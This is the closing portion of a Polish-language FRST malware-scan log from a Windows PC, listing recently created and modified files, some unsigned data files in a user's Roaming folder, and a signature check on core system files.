2017-09-13 12:13 - 2017-08-13 18:50 - 000817664 _____ (Microsoft Corporation) C:\Windows\system32\jscript.dll
2017-09-13 12:13 - 2017-08-13 18:29 - 000499200 _____ (Microsoft Corporation) C:\Windows\SysWOW64\vbscript.dll
2017-09-13 12:13 - 2017-08-13 18:28 - 000064000 _____ (Microsoft Corporation) C:\Windows\SysWOW64\MshtmlDac.dll
2017-09-13 12:13 - 2017-08-13 18:23 - 000092160 _____ (Microsoft Corporation) C:\Windows\system32\mshtmled.dll
2017-09-13 12:13 - 2017-08-13 18:21 - 000145408 _____ (Microsoft Corporation) C:\Windows\system32\iepeers.dll
2017-09-13 12:13 - 2017-08-13 18:20 - 000315392 _____ (Microsoft Corporation) C:\Windows\system32\dxtrans.dll
2017-09-13 12:13 - 2017-08-13 18:17 - 000663552 _____ (Microsoft Corporation) C:\Windows\SysWOW64\jscript.dll
2017-09-13 12:13 - 2017-08-13 18:14 - 001033216 _____ (Microsoft Corporation) C:\Windows\system32\inetcomm.dll
2017-09-13 12:13 - 2017-08-13 18:07 - 000262144 _____ (Microsoft Corporation) C:\Windows\system32\webcheck.dll
2017-09-13 12:13 - 2017-08-13 18:05 - 000380416 _____ (Microsoft Corporation) C:\Windows\system32\iedkcs32.dll
2017-09-13 12:13 - 2017-08-13 18:04 - 000807936 _____ (Microsoft Corporation) C:\Windows\system32\msfeeds.dll
2017-09-13 12:13 - 2017-08-13 18:04 - 000726528 _____ (Microsoft Corporation) C:\Windows\system32\ie4uinit.exe
2017-09-13 12:13 - 2017-08-13 18:01 - 002134528 _____ (Microsoft Corporation) C:\Windows\system32\inetcpl.cpl
2017-09-13 12:13 - 2017-08-13 17:51 - 000880640 _____ (Microsoft Corporation) C:\Windows\SysWOW64\inetcomm.dll
2017-09-13 12:13 - 2017-08-13 17:46 - 000230400 _____ (Microsoft Corporation) C:\Windows\SysWOW64\webcheck.dll
2017-09-13 12:13 - 2017-08-13 17:44 - 000694784 _____ (Microsoft Corporation) C:\Windows\SysWOW64\msfeeds.dll
2017-09-13 12:13 - 2017-08-13 17:44 - 000331776 _____ (Microsoft Corporation) C:\Windows\SysWOW64\iedkcs32.dll
2017-09-13 12:13 - 2017-08-13 17:43 - 002058752 _____ (Microsoft Corporation) C:\Windows\SysWOW64\inetcpl.cpl
2017-09-13 12:13 - 2017-08-13 17:18 - 000800768 _____ (Microsoft Corporation) C:\Windows\system32\ieapfltr.dll
2017-09-13 12:13 - 2017-08-13 17:14 - 000710144 _____ (Microsoft Corporation) C:\Windows\SysWOW64\ieapfltr.dll
2017-09-13 12:13 - 2017-08-13 17:13 - 001314816 _____ (Microsoft Corporation) C:\Windows\SysWOW64\urlmon.dll
2017-09-13 12:13 - 2017-08-12 01:59 - 007440728 _____ (Microsoft Corporation) C:\Windows\system32\ntoskrnl.exe
2017-09-13 12:13 - 2017-08-12 01:58 - 001737600 _____ (Microsoft Corporation) C:\Windows\system32\ntdll.dll
2017-09-13 12:13 - 2017-08-12 01:58 - 001502000 _____ (Microsoft Corporation) C:\Windows\SysWOW64\ntdll.dll
2017-09-13 12:13 - 2017-08-11 22:46 - 000367104 _____ (Microsoft Corporation) C:\Windows\SysWOW64\PCPTpm12.dll
2017-09-13 12:13 - 2017-08-11 22:29 - 000425984 _____ (Microsoft Corporation) C:\Windows\system32\PCPTpm12.dll
2017-09-13 12:13 - 2017-08-11 22:13 - 000175616 _____ (Microsoft Corporation) C:\Windows\system32\TpmTasks.dll
2017-09-13 12:13 - 2017-08-11 05:27 - 000281600 _____ (Microsoft Corporation) C:\Windows\system32\Drivers\netbt.sys
2017-09-13 12:13 - 2017-08-11 05:27 - 000243200 _____ (Microsoft Corporation) C:\Windows\system32\Drivers\srvnet.sys
2017-09-13 12:13 - 2017-08-11 05:27 - 000065536 _____ (Microsoft Corporation) C:\Windows\system32\Drivers\vpcivsp.sys
2017-09-13 12:13 - 2017-08-11 04:08 - 000329216 _____ (Microsoft Corporation) C:\Windows\system32\srvsvc.dll
2017-09-13 12:13 - 2017-08-11 04:02 - 001084928 _____ (Microsoft Corporation) C:\Windows\SysWOW64\gdi32.dll
2017-09-13 12:13 - 2017-08-11 03:49 - 000346624 _____ (Microsoft Corporation) C:\Windows\system32\ntprint.dll
2017-09-13 12:13 - 2017-08-11 03:41 - 000307200 _____ (Microsoft Corporation) C:\Windows\SysWOW64\ntprint.dll
2017-09-13 12:13 - 2017-08-06 23:20 - 000607232 _____ (Microsoft Corporation) C:\Windows\system32\rastls.dll
2017-09-13 12:13 - 2017-08-06 09:13 - 000530432 _____ (Microsoft Corporation) C:\Windows\SysWOW64\rastls.dll
2017-09-13 12:13 - 2017-07-22 20:34 - 000033792 _____ (Microsoft Corporation) C:\Windows\system32\iscsium.dll
2017-09-13 12:13 - 2017-07-22 19:32 - 000027136 _____ (Microsoft Corporation) C:\Windows\SysWOW64\iscsium.dll
2017-09-13 12:13 - 2017-07-12 22:29 - 000075440 _____ (Microsoft Corporation) C:\Windows\system32\appidapi.dll
2017-09-13 12:13 - 2017-07-12 22:25 - 000308872 _____ (Microsoft Corporation) C:\Windows\SysWOW64\wevtapi.dll
2017-09-13 12:13 - 2017-07-12 22:25 - 000066112 _____ (Microsoft Corporation) C:\Windows\SysWOW64\appidapi.dll
2017-09-13 12:13 - 2017-07-08 21:03 - 000017920 _____ (Microsoft Corporation) C:\Windows\system32\appidcertstorecheck.exe
2017-09-13 12:13 - 2017-07-08 20:43 - 000197632 _____ (Microsoft Corporation) C:\Windows\system32\appidpolicyconverter.exe
2017-09-13 12:13 - 2017-07-08 20:30 - 000039936 _____ (Microsoft Corporation) C:\Windows\system32\appidsvc.dll
2017-09-13 12:13 - 2017-07-08 20:20 - 000445440 _____ (Microsoft Corporation) C:\Windows\system32\certcli.dll
2017-09-13 12:13 - 2017-07-08 19:25 - 001436160 _____ (Microsoft Corporation) C:\Windows\system32\lsasrv.dll
2017-09-13 12:13 - 2017-07-08 19:00 - 000324096 _____ (Microsoft Corporation) C:\Windows\SysWOW64\certcli.dll
2017-09-13 12:13 - 2017-07-08 05:14 - 000100184 ____C (Microsoft Corporation) C:\Windows\system32\Drivers\disk.sys
2017-09-13 12:04 - 2017-09-13 12:04 - 006476800 _____ (Adobe Systems Incorporated) C:\Windows\SysWOW64\FlashPlayerInstaller.exe
2017-09-06 12:25 - 2017-09-06 12:25 - 000000000 ____D C:\Users\Dominika\Desktop\Pendrive Anity

==================== Jeden miesiąc - zmodyfikowane pliki i foldery ========

(Załączenie wejścia w fixlist spowoduje przeniesienie pliku/folderu.)

2017-10-04 09:52 - 2015-07-10 10:50 - 000004020 _____ C:\Windows\System32\Tasks\User_Feed_Synchronization-{D264E424-37CB-4872-9587-9D033761E854}
2017-10-04 09:50 - 2017-02-14 13:50 - 000000000 ____D C:\Users\Dominika\AppData\Roaming\Slack
2017-10-04 09:50 - 2015-10-06 09:46 - 001474832 _____ C:\Windows\system32\Drivers\sfi.dat
2017-10-04 09:49 - 2017-08-22 13:31 - 000000000 __RDO C:\Users\Dominika\OneDrive
2017-10-04 09:48 - 2016-05-30 11:53 - 000001182 _____ C:\Windows\Tasks\DropboxUpdateTaskMachineCore.job
2017-10-03 16:13 - 2015-08-24 08:19 - 000000000 ____D C:\Users\Dominika\AppData\Local\Wunderlist
2017-10-03 16:13 - 2015-07-27 10:45 - 000000000 ____D C:\Users\Dominika\AppData\Local\ClassicShell
2017-10-03 16:11 - 2016-09-20 08:54 - 000000000 ____D C:\Users\Dominika\Desktop\PERSONIA ZUZA
2017-10-03 15:16 - 2016-05-30 11:53 - 000001186 _____ C:\Windows\Tasks\DropboxUpdateTaskMachineUA.job
2017-10-03 11:30 - 2015-10-26 16:35 - 000130430 _____ C:\Windows\system32\Drivers\fvstore.dat
2017-10-03 11:19 - 2013-08-22 15:36 - 000000000 ____D C:\Windows\Inf
2017-10-03 11:16 - 2015-08-31 14:34 - 008560128 ___SH C:\Users\Dominika\Downloads\Thumbs.db
2017-10-03 10:17 - 2015-07-10 10:26 - 002169092 _____ C:\Windows\system32\PerfStringBackup.INI
2017-10-03 10:17 - 2013-08-23 01:12 - 001058128 _____ C:\Windows\system32\perfh015.dat
2017-10-03 10:17 - 2013-08-23 01:12 - 000250880 _____ C:\Windows\system32\perfc015.dat
2017-10-03 09:57 - 2017-04-19 08:25 - 000000000 ____D C:\Users\Dominika\AppData\LocalLow\Mozilla
2017-10-03 09:42 - 2015-07-10 15:30 - 002323968 ___SH C:\Users\Dominika\Desktop\Thumbs.db
2017-10-03 08:30 - 2017-03-09 13:00 - 000140080 _____ C:\Users\Dominika\AppData\Local\GDIPFONTCACHEV1.DAT
2017-10-02 17:39 - 2015-07-10 10:40 - 000003600 _____ C:\Windows\System32\Tasks\Optimize Start Menu Cache Files-S-1-5-21-1280708189-2280317887-4227462502-1001
2017-10-02 16:16 - 2017-07-19 11:21 - 000004838 _____ C:\Users\Dominika\Desktop\zuza_stopka.html
2017-10-02 08:32 - 2017-07-26 11:53 - 000000000 ____D C:\Program Files (x86)\Mozilla Firefox
2017-10-02 08:32 - 2015-07-10 13:54 - 000000000 ____D C:\Program Files (x86)\Mozilla Maintenance Service
2017-10-02 08:14 - 2017-02-15 11:25 - 000000000 ____D C:\Users\Dominika\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Slack Technologies
2017-10-02 08:14 - 2017-02-15 11:25 - 000000000 ____D C:\Users\Dominika\AppData\Local\slack
2017-10-02 08:13 - 2017-02-14 13:49 - 000000000 ____D C:\Users\Dominika\AppData\Local\SquirrelTemp
2017-09-29 12:55 - 2017-04-07 13:04 - 000000000 ____D C:\Users\Dominika\Desktop\DO ZROBIENIA
2017-09-28 11:53 - 2013-08-22 17:36 - 000000000 ____D C:\Windows\system32\FxsTmp
2017-09-26 14:32 - 2016-04-18 11:01 - 000000000 ____D C:\Users\Dominika\.gimp-2.8
2017-09-26 14:31 - 2016-04-18 11:07 - 000000000 ____D C:\Users\Dominika\AppData\Local\gtk-2.0
2017-09-26 10:24 - 2017-07-31 09:05 - 000003190 _____ C:\Windows\System32\Tasks\OneDrive Standalone Update Task-S-1-5-21-1280708189-2280317887-4227462502-1001
2017-09-26 10:24 - 2016-04-28 08:10 - 000002399 _____ C:\Users\Dominika\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\OneDrive dla Firm.lnk
2017-09-22 14:03 - 2013-08-22 17:36 - 000000000 ____D C:\Windows\rescache
2017-09-22 13:36 - 2013-08-22 17:36 - 000000000 ___HD C:\Program Files\WindowsApps
2017-09-22 13:36 - 2013-08-22 17:36 - 000000000 ____D C:\Windows\AppReadiness
2017-09-22 13:20 - 2016-05-30 11:53 - 000000000 ____D C:\Program Files (x86)\Dropbox
2017-09-21 11:31 - 2016-03-24 12:26 - 000000000 ____D C:\Users\Dominika\AppData\Roaming\TeamViewer
2017-09-18 09:09 - 2015-08-14 10:56 - 000000374 _____ C:\Windows\system32\Drivers\etc\hosts.ics
2017-09-18 09:09 - 2013-08-22 16:45 - 000000006 ____H C:\Windows\Tasks\SA.DAT
2017-09-18 09:09 - 2013-08-22 16:44 - 000557048 _____ C:\Windows\system32\FNTCACHE.DAT
2017-09-14 14:24 - 2013-08-22 15:25 - 000262144 ___SH C:\Windows\system32\config\BBI
2017-09-14 14:23 - 2013-08-22 17:36 - 000000000 ___RD C:\Windows\ToastData
2017-09-13 15:30 - 2013-08-22 17:20 - 000000000 ____D C:\Windows\CbsTemp
2017-09-13 12:24 - 2015-07-17 10:28 - 000000000 ____D C:\Windows\system32\MRT
2017-09-13 12:16 - 2015-07-17 10:28 - 138202976 ____C (Microsoft Corporation) C:\Windows\system32\MRT.exe
2017-09-13 12:04 - 2017-08-17 12:36 - 000004424 _____ C:\Windows\System32\Tasks\Adobe Flash Player Updater
2017-09-13 12:04 - 2013-08-22 17:36 - 000000000 ____D C:\Windows\SysWOW64\Macromed
2017-09-13 12:04 - 2013-08-22 17:36 - 000000000 ____D C:\Windows\system32\Macromed
2017-09-13 11:25 - 2013-08-22 15:25 - 000000167 _____ C:\Windows\win.ini
2017-09-07 10:03 - 2015-10-06 09:46 - 000000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\COMODO
2017-09-07 10:03 - 2015-10-06 09:43 - 000000000 ____D C:\ProgramData\Comodo
2017-09-06 12:23 - 2013-08-22 17:36 - 000000000 ____D C:\Windows\system32\NDF
2017-09-05 11:29 - 2016-12-02 11:53 - 000000000 ____D C:\Program Files (x86)\Mozilla Thunderbird

==================== Pliki w katalogu głównym wybranych folderów =======

2016-05-30 11:54 - 2016-05-30 11:54 - 006859776 _____ () C:\Users\Dominika\AppData\Roaming\agent.dat
2016-05-30 11:54 - 2016-05-30 11:54 - 000065616 _____ () C:\Users\Dominika\AppData\Roaming\Config.xml
2016-05-30 11:52 - 2016-05-30 11:53 - 000014448 _____ () C:\Users\Dominika\AppData\Roaming\InstallationConfiguration.xml
2016-05-30 11:52 - 2016-05-30 11:52 - 000128512 _____ () C:\Users\Dominika\AppData\Roaming\Installer.dat
2016-05-30 11:54 - 2016-05-30 11:54 - 000018432 _____ () C:\Users\Dominika\AppData\Roaming\Main.dat
2016-05-30 11:54 - 2016-05-30 11:54 - 000005568 _____ () C:\Users\Dominika\AppData\Roaming\md.xml
2016-05-30 11:54 - 2016-05-30 11:54 - 000126464 _____ () C:\Users\Dominika\AppData\Roaming\noah.dat
2016-05-30 11:54 - 2016-05-30 11:54 - 001756123 _____ () C:\Users\Dominika\AppData\Roaming\Qvo-Air.tst
2016-05-30 11:55 - 2016-05-30 11:55 - 000032038 _____ () C:\Users\Dominika\AppData\Roaming\uninstall_temp.ico
2017-09-26 14:31 - 2017-09-26 14:31 - 000025517 _____ () C:\Users\Dominika\AppData\Local\recently-used.xbel

==================== Bamital & volsnap ======================

(Brak automatycznej naprawy dla plików które nie przeszły weryfikacji.)

C:\Windows\system32\winlogon.exe => Plik podpisany cyfrowo
C:\Windows\system32\wininit.exe => Plik podpisany cyfrowo
C:\Windows\explorer.exe => Plik podpisany cyfrowo
C:\Windows\SysWOW64\explorer.exe => Plik podpisany cyfrowo
C:\Windows\system32\svchost.exe => Plik podpisany cyfrowo
C:\Windows\SysWOW64\svchost.exe => Plik podpisany cyfrowo
C:\Windows\system32\services.exe => Plik podpisany cyfrowo
C:\Windows\system32\User32.dll => Plik podpisany cyfrowo
C:\Windows\SysWOW64\User32.dll => Plik podpisany cyfrowo
C:\Windows\system32\userinit.exe => Plik podpisany cyfrowo
C:\Windows\SysWOW64\userinit.exe => Plik podpisany cyfrowo
C:\Windows\system32\rpcss.dll => Plik podpisany cyfrowo
C:\Windows\system32\dnsapi.dll => Plik podpisany cyfrowo
C:\Windows\SysWOW64\dnsapi.dll => Plik podpisany cyfrowo
C:\Windows\system32\Drivers\volsnap.sys => Plik podpisany cyfrowo

LastRegBack: 2017-09-29 05:07

==================== Koniec  FRST.txt ============================